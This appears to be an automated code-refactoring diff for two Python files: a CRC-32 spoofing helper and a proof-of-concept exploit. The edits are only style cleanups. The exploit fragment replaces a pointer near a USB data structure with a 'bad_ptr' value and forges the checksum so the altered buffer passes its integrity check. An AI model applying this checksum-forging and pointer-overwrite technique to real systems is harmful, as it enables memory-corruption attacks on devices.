Sourcery refactored master branch

crc_spoof.py

@@ -36,36 +36,36 @@ def modify_buffer_crc32(buffer, offset, newcrc, printstatus=False):
  crc = get_buffer_crc32(buffer)
  if printstatus:
  print("Buffer CRC-32: {:08X}".format(reverse32(crc)))
- 
+
  # Compute the change to make
  delta = crc ^ newcrc
  delta = multiply_mod(reciprocal_mod(pow_mod(2, (length - offset) * 8)), delta)
- 
+
  # Patch 4 bytes in the buffer
  bytes4 = bytearray(buffer[offset:offset+4])
  if len(bytes4) != 4:
  raise IOError("Cannot read 4 bytes at offset")
- 
+
  if printstatus:
  print("Target bytes @ offset: {:s}".format(str(bytes4).encode('hex')))
 
  for i in range(4):
  bytes4[i] ^= (reverse32(delta) >> (i * 8)) & 0xFF
- 
+
  if printstatus:
  print("Patched value: {:s}".format(str(bytes4).encode('hex')))
 
- result = str(buffer[0:offset] + bytes4 + buffer[offset+4:])
- 
+ result = str(buffer[:offset] + bytes4 + buffer[offset+4:])
+
  if printstatus:
  print("Computed and wrote patch")
- 
+
  # Recheck entire file
  if get_buffer_crc32(result) != newcrc:
  raise AssertionError("Failed to update CRC-32 to desired value")
  elif printstatus:
  print("New CRC-32 successfully verified")
- 
+
  return result
 
 # Public library function. path is str/unicode, offset is uint, newcrc is uint32, printstatus is bool.
@@ -126,7 +126,7 @@ def get_file_crc32(raf):
 
 def reverse32(x):
  y = 0
- for i in range(32):
+ for _ in range(32):
  y = (y << 1) | (x & 1)
  x >>= 1
  return y

poc.py

@@ -57,7 +57,7 @@
 crc32 = get_buffer_crc32(buffer)
 
 # replace the pointer (usb_data + 0x78)
-buffer = buffer[0:8] + pack('<Q', bad_ptr)
+buffer = buffer[:8] + pack('<Q', bad_ptr)
 
 # spoof crc32, first 4 bytes will be modified
 buffer = modify_buffer_crc32(buffer, 0, crc32)